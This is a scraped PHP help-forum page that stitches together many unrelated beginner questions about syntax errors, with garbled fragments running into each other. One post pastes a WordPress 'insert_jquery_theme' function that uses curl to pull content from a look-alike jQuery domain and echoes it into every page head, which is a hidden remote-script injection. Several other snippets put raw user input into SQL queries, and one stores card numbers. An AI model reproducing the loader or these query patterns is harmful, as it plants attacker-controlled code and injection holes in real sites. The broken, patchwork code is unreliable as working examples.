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PHP - (question From A Studen)t Error On Line 1?
hello, I have multiple scripts I am writing for class and the very last script does not seem to be working and most of us are stumped . the first two seem to work fine but I am going to post them too just in case there is something on the previous scripts I am missing that is causing the error. the scripts are suppose to make a table then the final one lists the tables I believe.
1st script Do-Creaable.html ----------------------------------------------------------------------------------------------------------- <html> <title> input page</title> <head><strong> Name and Number of fields</strong></head> <body> <form method ="post" action="do_showfileddef.php"> Table Name: <br> <input type="text" name="table_name"><p> <br> Number of fields:<p> <input type="text" name="num_fields"><p> <input type="submit" value="go to step two"> </form> </body> </html> --------------------------------------------------------------------------------------------------------------------- second script do show_fieldeff.php --------------------------------------------------------------- <? if ((!$_POST['table_name']) || (!$_POST['num_fields'])) { header ("location: show_creatable.html"); exit; } $form_block =" <FORM METHOD=\"POST\"ACTION=\"do_creatable.php\"> <iINPUT TYPE=\"hidden\"NAME=\"table_name\" VALUE\"$_POST[table_name]\"> <TABLE CELLSPACING=5 CELLPADDING=5> <TR> <TH>field name</TH><TH>filed type</TH> <TH>field length</TH></TR>"; for($i =0; $i < $_POST['num_fields']; $i++) { $form_block .=" <tr> <td allign=center><input type=\"text\"name=\"filed_name[]\"size=\"30\"></td> <td align=center> <SELECT NAME=\"field_type[]\"> <OPTION VALUE=\"char\">char</OPTION> <OPTION VALUE=\"date\">date</OPTION> <OPTION VALUE=\"float\">float</OPTION> <OPTION VALUE=\"int\">int</OPTION> <OPTION VALUE=\"text\">textchar</OPTION> <OPTION VALUE=\"varchar\">varchar</OPTION> </SELECT> </td> <TD ALIGN=CENTER><INPUT TYPE=\"text\"NAME=\"field_length[]\" SIZE=\"5\"></td> </tr>"; } $form_block .=" <tr> <td allign=center colspan=3><input type=\"submit\"value=\"create table\"></td> </tr> </table> </form>"; ?> <html> <head> <title> create a Database table:step 2</title> </head> <body> <h1> Define fields for <? echo "$_POST[table_name]"; ?> </h1> <?echo "$form_block";?> </body> </html> ----------------------------------------------------------------------------------------------------------------- third script do_creatable.php _________________________________________________ ____________________________________ $db_name = "testdb"; $connection = @mysql_connect("localhost","root","") or die (mysql_error()); $db = @mysql_select_db($db_name,$connection) or die (mysql_error()); $sql = @"CREATE TABLE $_POST[table_name]("; for ($i =0; $i <count($_POST['field_name']);$i++){ $sql .= $_POST["field_length"][$i] ." ".$_POST['field_type'][$i]; if ($_POST ["field_length"] [$i] !="") { $sql .= "(".$_POST ["field_length"] [$i]."),"; } else { $sql .= ","; } } $sql = substr($sql,0,-1); $sql .=")"; $results = mysql_query ($sql,$connection) or die (mysql_error()); if ($results) { $msg="<P>".$_POST["table_name"]."has been created!</P>"; } ------------------------------------------------------------------------------------------------------------------ some where on that third script is an error but it keeps telling me bad syntax on line one. most of the class is having errors with this script and no one can find the cause its been like 2 weeks now. can someone help me? please bare in mind I am a student and some functions of php I am unfammiliar with Similar Tutorialsi keep getting the above error.. help this is a class of the log entry <?php require_once "config.php"; abstract class DataObject { protected $data = array(); public function__construct( $data ) { foreach ( $data as $key => $value ) { if ( array_key_exists( $key, $this->data )) $this->data[$key] = $value; } } public function getValue( $field ) { if ( array_key_exists( $field, $this->data )) { return $this->data[$field]; } else { die( "field not found" ); } } public function getValueEncoded( $field ) { return htmlspecialchars( $this->getValue( $field )); } protected function connect() { try { $conn = new PDO(DB_DSN, DB_USERNAME, DB_PASSWORD ); $Conn->setAttribute( PDO::ATTR_PERSISTENT, true ); $conn->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION ); } catch ( PDOException $e->getMessage() ); die( "connection failed: " . $e->getMessage() ); } return $conn; } protected function disconnect( $conn ) { $conn = ""; } } ?> sorry this was the actuall php code for this error... <?php require_once "DataObject.class.php"; class LogEntry extends DataObject { protected $data = array( "userid" => "", "pageUrl" => "", "numVisits" => "", "lastAcces" => "", ); public static function getLogEntries( $userid ) { $conn = parent::connect(); $sql = "SELECT * FROM " . TBL_accesslog . " WHERE userid = : userid ORDER BY lastAcces DESC"; try { $st = conn->prepare( $sql ); $st->bindValue( ":userid", $userid, PDO::PARAM_INT ); $st->execute(); $logEntries = array(); foreach ( $st->fetchAll() as $row ) { $logEntries[] = new logEntry( $row); } parent::disconnect( $conn ); return $logEntries; } catch ( PDOExeception $e ) { parent::disconnect( $conn ); die( "Query failed: " . $e->getMessage() ); } } } ?> I don`t get it, waht is wrong?! Code: [Select] <?php require_once 'auth.php'; if (!isset($_SESSION['SESS_VERIFY'])) { header("location: access-denied.php"); exit(); } if ($_SESSION['lang'] == 'Ro') { // setare data romania date_default_timezone_set('Europe/Bucharest'); $today = getdate(); $zi = $today['mday']; $luna = $today['mon']; $lunastring = $today['month']; $an = $today['year']; $data = $zi.$luna.$an; $data = (string)$data; $ora = date('H:i:s'); $msg = array(); $err = array(); $luni = array ( 1=>'Ianuarie', 2=>'Februarie', 3=>'Martie', 4=>'Aprilie', 5=>'Mai', 6=>'Iunie', 7=>'Iulie', 8=>'August', 9=>'Septembrie', 10=>'Octobrie', 11=>'Noiembrie', 12=>'Decembrie'); // comun const SQL_ERR = 'SQL statement failed with error: '; const ADD_MODEL = 'ADAUGA UN MODEL NOU'; . .many constants.. . } elseif ($_SESSION['lang'] == 'It') {... Thank you!
Hello everyone,
1 <?php
7 // Create connection
10 // Check connection
14 $firstname = $conn->real_escape_string($_REQUEST['firstname']); 25 $sql2 = "INSERT INTO countries VALUES ('$country')"; 27 $sql3 = "INSERT INTO Contacts (firstname, lastname, address, city, country, phone, email) VALUES ('$firstname', '$lastname', '$address', $city, $country, '$phone_number','$email')";
29 SELECT * FROM cities;
if($conn->query($sql2) === true){
if($conn->query($sql3) === true){ SET UP: Windows vista # XAMPP 1.7.3, # Apache 2.2.14 (IPv6 enabled) + OpenSSL 0.9.8l # MySQL 5.1.41 + PBXT engine # PHP 5.3.1 # phpMyAdmin After entering various different information from previous forms on different pages I finally get this error message "Parse error: syntax error, unexpected T_STRING in C:\blablah on line 31" on the following code: <?php //let's start our session, so we have access to stored data session_start(); include 'db.inc.php'; $db = mysql_connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD) or die ('Unable to connect. Check your connection parameters.'); mysql_select_db(MYSQL_DB, $db) or die(mysql_error($db)); //let's create the query $query = 'INSERT INTO subscriptions (name, email_address, membership_type, terms_and_conditions, name_on_card, credit_card_number, credit_card_expiration_data) VALUES ( "' . $_SESSION[$name, $db] . '", ' . $_SESSION[$email_address, $db] . '", ' . $_SESSION[$membership_type, $db] . '", ' . $_SESSION[$terms_and_conditions, $db] . '", ' . $_POST[$name_on_card, $db] . '", ' . $_POST[$credit_card_number, $db] . '", ' . $_POST[$credit_card_expiration, $db] . ')'; if (isset($query)) { $result = mysql_query($query, $db) or die(mysql_error($db)); } ?> <p>Done!</p> </body> </html> ?> Any help would be appreciated. I'm practicing this with the ambition to develop a multi-page registration using sessions for a website so even web pages that might help me with this aim would be good. I keep getting an error code when running my php, it states: Parse error: syntax error, unexpected $end in W:\www\blog\login.php on line 33 Line 33 is </html> Code: [Select] <?php mysql_connect ("localhost", "root", ""); mysql_select_db("blog"); ?> <html> <head> <title>Login</title> </head> <body> <?php if(isset($_POST['submit'])){ $name = $_POST['name']; $pass = $_POST['password']; $result = mysql_query("SELECT * FROM users WHERE name='$name' AND pass='$pass'"); $num = mysql_num_rows($result); if($num == 0){ echo "Bad login, go <a href='login.php'>back</a>"; }else{ session_start(); $SESSION ['name'] = $name; header("Location: admin.php"); } ?> <form action='login.php' method='post'> Username: <input type='text' name='name' /><br /> Password: <input type='password' name='password' /><br /> <input type='submit' name='sumbit' value='Login!' /> </form> </body> </html>Can any one advise me whats wrong? This topic has been moved to PHP Applications. http://www.phpfreaks.com/forums/index.php?topic=344105.0 Code: [Select] <?php if (!isset($_POST['submit'])) { ?> <h2>Todays Special</h2> <p> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"> <select name="day"> <option value="1">Monday/Wednesday <option value="2">Tuesday/Thursday <option value="3">Friday/Sunday <option value="4">Saturday </select> input type="submit" name="submit" value="Go"> </form> <?php // get form selection $day = $_POST['day']; // check value and select appropriate item switch ($day) { case 1: $special = 'Chicken in oyster sauce'; break; case 2: $special = 'French onion soup'; break; case 3: $special = 'Pork chops with mashed potatoes and green salad'; break; default: $special = 'Fish and chips'; break; } ?>
Hi im coding a php form using a tutorial im completely new at php need help what am i doing wrong Dear... I have problem with this code..can you help me ? Thanks Code: [Select] <?phpif (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');} Hi guys i have this error, Parse error: syntax error, unexpected end of file in C:\wamp64\www\nigthclub\videos.php on line 103
but i know is probably easy to solve but for some reason i dont see the error. please help me
<?php
session_start();
?>
<?php error_reporting (E_ALL ^ E_NOTICE); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<link href="style.css" rel="stylesheet" type="text/css" />
<link href="tablefiestas.css" rel="stylesheet" type="text/css" />
<title>La Taverna de Juan</title>
</head>
<body>
<div id="container">
<div id="header">
<!--MENU BAR-->
<?php include("includes/db.php"); ?>
</div>
<!--VIDEOS-->
<?php
$query = ("SELECT * from videos");
$result = mysqli_query($connection,$query);
$num_per_page =05;
?>
<table border="1" width="100%">
<tr>
<td>Video Id</td>
<td>Titulo</td>
<td>Video</td>
</tr>
<tr>
<?php
while ($row=mysqli_fetch_assoc($result))
{
$videoid = $row['videoid'];
$titulo = $row['titulo'];
$url_video = $row['url_video'];
?>
<td><?php echo $videoid ?></td>
<td><?php echo $titulo ?></td>
<td><?php echo $url_video ?></td>
</tr>
<?php}?>
</table>
<?php
$query = "SELECT * from videos";
$pr_result = mysqli_query($connection,$query);
$totalrecord = mysqli_num_rows($pr_result);
echo $totalrecord;
?>
<br>
<div id="footer">
<!--FOOTER-->
<?php include("includes/footer.inc.php"); ?>
</div>
</div>
</body>
</html>
Edited November 18, 2019 by Psycho Added code tags <?php
class Post{
private $user_obj;
private $con;
public function __construct($con, $user){
$this->con = $con;
$this->user_obj = new User($con,$user);
}
public function submitPost($body,$user_to){
$body = strip_tags($body);////Removing HTML TAGS
$body = mysqli_real_escape_string($this->con,$body);
$check_empty = preg_replace('/\s+/', '', $body);//delte all spaces
if($check_empty != ""){
//Current Date and time
$date_added = date("Y-m-d H:i:s");
//get username
$added_by = $this->user_obj->getUsername();
//if user have not a profile send to the none
if($user_to == $added_by){
$user_to = "none";
}
////insert query
$query = mysqli_query($this->con,"INSERT INTO posts VALUES('','$body','$added_by','$user_to','$date_added','no','no','0')");
$retured_id = mysqli_insert_id($this->con);
//insert notification
//Update post count for user
$num_post = $this->user_obj->getNumPosts();
$num_post++;
$update_query = mysqli_query($this->con,"UPDATE users SET num_post = '$num_post' WHERE username = '$added_by'" );
}
public function loadPostsFriends(){
$str = ""; //string to return
$data = mysqli_query($this->con,"SELECT * FROM posts where deleted = 'no' ORDER by id DESC");
while($row = mysqli_fetch_array($data))
{
$id = $row['id'];
$body = $row['body'];
$added_by = $row['added_by'];
$date_time = $row['date_added'];
/// Creating user post on other user profile
if($row['user_to'] == "none"){
user_to = "";
else {
$user_to_obj = new User($con,$row['user_to']);
$user_to_name = $user_to_obj->getFirstandLastname();
$user_to = "to <a href='" . $row['user_to'] . "'>" .$user_to_name . "</a>";
}
// check if user account was closed
$added_by_obj = new User($this->con,$added_by);
if($added_by_obj ->isClosed()){
continue;
}
$user_details_query = mysqli_query($this->con,"SELECT first_name,last_name,profile_pic FROM users where username = '$added_by'");
$user_row = mysqli_fetch_array($user_details_query);
$first_name = $user_row['first_name'];
$last_name = $user_row['last_name'];
$profile_pic= $user_row['profile_pic'];
///time stamp
$date_time_now = date("Y-m-d H:i:s");
$start_date = new Date_Time($date_time);////Time_of_post
$end_date = new Date_Time($date_time_now);///Current_time
$intervel = $start_date->diff($end_date);
if($intervel->y >< 1 ){
if($intervel ==1 )
$time_message = $intervel->y . " year ago";/// 1 Year Ago
else
$time_message = $intervel->y . " years ago"; //1+ year ago
}
else if($intervel-> m >= 1 ){
if($intervel->d == 0){
$days = " ago";
}
else if($intervel->d == 1){
$days = $intervel->d."day ago";
}
else
{
$days = $intervel->d."day ago";
}
if($intervel->m == 1){
$time_message = $intervel->m." month".$days;
}
else
$time_message = $intervel->m." months".$days;
}
}
else if($intervel->d >= 1){
if($intervel->d == 1){
$days = "Yesterday";
}
else
{
$days = $intervel->d."days ago";
}
}
else if($intervel->h >= 1){
if($intervel->h == 1){
$time_message = $intervel->h." hour ago";
}
else
{
$time_message = $intervel->h." hours ago";
}
}
else if($intervel->i >= 1){
if($intervel->i == 1){
$time_message = $intervel->i." minute ago";
}
else
{
$time_message = $intervel->i." minutes ago";
}
}
else{
if($intervel->s < 30){
$time_message = "Just Now";
}
else
{
$time_message = $intervel->s." seconds ago";
}
}
$str .= "<div class='status_post'>
<div calss='post_profile_pic'>
<img src='$profile_pic' width='50'>
</div>
<div calss='posted_by' style='color#ACACAC;'>
<a href = '$added_by'> $first_name $last_name </a> $user_to ; ; $time_message
</div>
<div id = 'post_body'$body<br></div>
</div>
"
}
echo $str;
}
}
?>
When i run this code this show me the error Parse error: syntax error, unexpected 'public' (T_PUBLIC) in C:\xampp\htdocs\social\Classes\Post.php on line 39 the line 39 is public function loadPostsFriends() I check the code again and again but i cant find the error please help in this error hello, if any one can help me solve this error.
case "unsuspend":
$setupd = array("status" => "Active");
$db->update("members", $setupd, "id=" . $mid);
break;
case "activate":
$setupd = array("status" => "Active");
$db->update("members", $setupd, "id=" . $mid);
{
if ($settings['referral_contest'] == 'yes') {
$usr = $db->fetchRow( "SELECT ref1, status FROM members WHERE id=" . $mid );
if (( $usr['status'] == 'Un-verified' && $usr['ref1'] != 0 )) {
$referrer = $usr['ref1'];
if ($referrer != 0) {
$today_var = $settings['referral_reset'];
$chk = $db->fetchOne( "SELECT COUNT(*) AS NUM FROM referral_stats WHERE user_id=" . $referrer );
if ($chk == 0) {
$data = array( 'user_id' => $referrer, 'day' . $today_var => 1 );
$db->insert( 'referral_stats', $data );
}
else {
$db->query( "UPDATE referral_stats SET day" . $today_var . '=day' . $today_var . '+1 WHERE user_id=' . $referrer );
}
}
}
}
break;
case "delete":
$userdata = $db->fetchRow("SELECT username, country, ref1 FROM members WHERE id=" . $mid);
deletemember($mid);
if ($userdata['username'] != "BOT") {
$db->query("UPDATE country SET users=users-1 WHERE name=" . $userdata['country'] . "'");
}
if ($userdata['ref1'] != 0) {
$db->query("UPDATE members SET referrals=referrals-1, myrefs1=myrefs1-1 WHERE id=" . $userdata['ref1']);
}
break;
I'm not very good at php, but this is my full code. I'm not sure what the problem is. If anyone could give me a hand, I would surely appreciate it. Line 77 in the last line of the this code. <html> <head> <title>Ace!</title> </head> <body> <h1>Ace!</h1> <h3>Demonstrates if statement</h3> <?php $begin = rand(1,10); print "You picked roman number $begin"; printNumber16($begin); printNumber110($begin); function printNumber16($begin){ global $begin; if ($begin == 1 ){ print "I"; } else if ($begin == 2){ print "II"; } else if ($begin == 3){ print "III"; } else if ($begin == 4){ print "IV"; } else if ($begin == 5){ print "V"; } else { print "I don't know what you talking bout broham"; } function printNumber110($begin) { global $begin; switch ($begin){ case 1: $roman = "I"; break; case 2: $roman = "II"; break; case 3: $roman = "III"; break; case 4: $roman = "IV"; break; case 5: $roman = "V"; break; case 6: $roman = "VI"; break; default: print "This is an illegal die!"; } print "<br>"; print "<br>"; print "You chose roman number $roman"; print "<br>"; print "<br>"; ?> <br> Refresh this page in the browser to roll another die. </body> </html> I have an error on this php page and am getting confused with the curly brackets. I hope a set of fresh eyes will help me find the bracket I'm missing or misplaced. Any help would be greatly appreciated. Here's my code
<?php
if (isset($_POST['login-submit'])) {
require 'dbh.inc.php';
$mailuid = $_POST['mailuid'];
$password = $_POST['pwd'];
if (empty($mailuid) || empty($password)) {
header("Location: ../index.php?error=emptyfields");
exit();
}
else {
$sql = "SELECT * FROM users WHERE uidUsers=? OR emailUsers=?;";
$stmt = mysqli_stmt_init($conn);
if (!mysqli_stmt_prepare($stmt, $sql)) {
header("Location: ../index.php?error=sqlerror");
exit();
}
else {
mysqli_stmt_bind_param($stmt, "ss", $mailuid, $mailuid);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
if ($row = mysqli_fetch_assoc($result)) {
$pwdCheck = password_verify($password, $row['pwdUsers']);
if ($pwdCheck == false) {
header("Location: ../index.php?error=wrongpwd");
exit();
}
else if ($pwdCheck == true) {
session_start();
$_SESSION['userId'] = $row['idUsers'];
$_SESSION['userUid'] = $row['uidUsers'];
header("Location: ../index.php?login=success");
exit();
}
else {
header("Location: ../index.php?error=wrongpwd");
exit();
}
}
else (
header("Location: ../index.php?error=nouser");
exit();
)
}
}
}
else {
header("Location: ../index.php");
exit();
}
Hello, When I try to PHP my files I get this error: Cannot use object of type Project as array, in "filepath.php" line 112. Here are the first 2 texts (112,113): $this["Started CPSM, version 0.04, Login Server communication mode: " . LOGIN_MODE . "\n"]; register_shutdown_function(array($this, "shutdownHandler")); Please help, Thanks. I've looked it, and I guess it's right in front of me but I don't see it. Parse error: syntax error, unexpected T_STRING, expecting ']' in /home/a8079066/public_html/view.php on line 24 echo "<b>Name:</b> ". $query['name'] ."<br/><b>Description:</b> ". $query['description'] ."<hr><a href='/mods/". $query['id'] .".zip'><h2>[DOWNLOAD]</h2></a><hr>"; |
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